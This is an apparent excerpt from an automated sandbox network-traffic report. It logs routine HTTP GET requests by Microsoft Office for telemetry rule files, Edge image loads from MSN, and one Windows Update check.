Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=x1bsp7pwucEGAKE&MD=+f6+A7Mr HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
